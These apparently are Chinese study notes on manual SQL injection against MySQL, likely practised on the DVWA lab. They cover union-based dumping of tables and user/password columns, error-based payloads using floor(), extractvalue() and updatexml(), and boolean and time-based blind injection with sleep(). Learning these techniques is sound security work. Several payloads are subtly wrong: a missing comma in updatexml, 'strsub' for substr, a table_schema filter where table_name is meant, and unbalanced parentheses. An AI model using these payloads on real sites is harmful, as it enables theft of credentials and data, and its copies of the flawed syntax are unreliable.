手工注入的大致思路:
判断是否存在注入,注入是字符型还是数字型
猜解SQL查询语句中的字段数(order by 2)
确定显示的字段顺序(union select 1,2)
获取当前数据库(union select 1,database())
获取数据库中的表(xx' union select 1,table_name from information_schema.tables where table_schema=’dvwa’-- )
获取表中的字段名(xx' union select 1,column_name from information_schema.columns where table_schema=’users’-- )
下载数据(xx’union select user,password from users -- )
为什么要知道SQL查询语句中的字段数呢?
因为要想查找别的表中的数据就要用到联合查询,联合查询需要注意一个问题,那就是前后select中字段数目必须一样,而且前面的每个字段类型必须和后面每个字段的类型相兼容
Mysql数据库(>=5.7)内置库:
Mysql:保存有账户信息,权限信息,存储过程,event,时区等信息
Sys:包含了一系列的存储过程,自定义函数以及试图来帮助我们快速的了解系统的元数据信息
Performance_schema:用于手机服务器性能参数
Information_schema:其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
查询数据核心语法:
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema = 库名
查列:select column_name from information_schema.columns where table_name = 表名
查数据:select 列名 from 库名.表名
报错注入:
构造payload让信息通过错误提示回显出来
应用场景:
- 查询不回显内容,会打印错误信息
- update,insert等语句会打印错误信息
方法:(凡是可以让错误信息显示数据库中内容的函数,都能实现报错注入)
列举三种:
floor():select count(*)from information_schema.tables group by concat((select version()),floor(rand(0)*2));
利用的是group对rand函数进行操作时产生错误
Concat:连接字符串功能
Floor:取float的整数值
Rand:取0-1之间的随机浮点值
Group by:根据一个或者多个列队结果集进行有序分组并有排序功能
Extractvalue():select extractvalue(1,concat(0x7e,(select user()),0x7e))
Extractvalue():接收两个参数,第一个参数是XML文档,第二个是xpath语句,XML文档进行查询和修改的函数
利用的是XPATH语法错误产生报错
Updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e)1)
如果报错显示的长度有限,显示的内容超过规定长度无法显,我们就需要用substr()截取部分内容显示
盲注分为:基于布尔的盲注,基于时间的盲注以及基于报错的盲注
手工盲注的步骤:
判断是否存在注入,注入是字符型还是数字型
猜解当前的数据库名
猜解数据库中的表名
猜解表中的字段名
猜解数据
猜解数据库:
1’and 真 # 结果为真
1’and 假 # 结果为假
猜解数据库长度:length(str),通过1’and length(database())>1-- 显示结果不断改变数字来判断数据库名长度
猜解数据库名:
函数:left(a,b),从左侧开始截取a字符串的前b位
Substr(str,start,length)
Ascii(a)将某个字符转化为ascii值
Mid()函数与substr函数功能一样
Ord()函数与ascii函数功能一样
Regexp {(select user()) regexp ‘^r }正则表达式用法,user()结果为root,regexp为匹配root的正则表达式
Like {(select user()) like ‘ro%’} 与regexp类似,使用like进行匹配
常用的POC
And left(select(database()),1)=‘a’--+
And (select database()) regexp ‘^r’
And (select database()) like ‘r%’
And ord(mid((select database()),1,1))>97
And ascii(strsub((select database()),1,1)) > 97
通过1’and ascii(substr((select database()),1,1)) >97 -- 猜解数据库名
通过1’and (select count (table_name) from information_schema.tables where table_schema=database()) =1 -- 猜解数据库中表的数量
通过 1’and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) = 1 -- 猜解第一个表名长度
通过 1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 97 -- 猜解第一个表名(设其中一个表的名称为‘users’)
通过1’and (select count(column_name) from information_schema.columns where table_name=’users’) = 8 -- 猜解出users表中有8个字段
通过1’and length(substr(select column_name from information_schema.columns where table_name = ‘users’limit 0,1),1)=7 --
或者 1’and length(select column_name from information_schema.columns where table_name = ‘users’limit 0,1)=7 --
猜解出第一个字段的长度
下面一样通过 1’and ascii(substr((select user from users) limit 0,1),1,1)) > 97 -- 猜解字段名
前面的布尔盲注,根据页面返回的真假进行判断猜解,而时间盲注根据页面反应是否延时来猜解判断
常见函数:
if()函数
If(expr1,expr2,expr3):如果expr1为真,返回expr2,否则返回expr3
举例子:1”and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=97,sleep(2),1)--+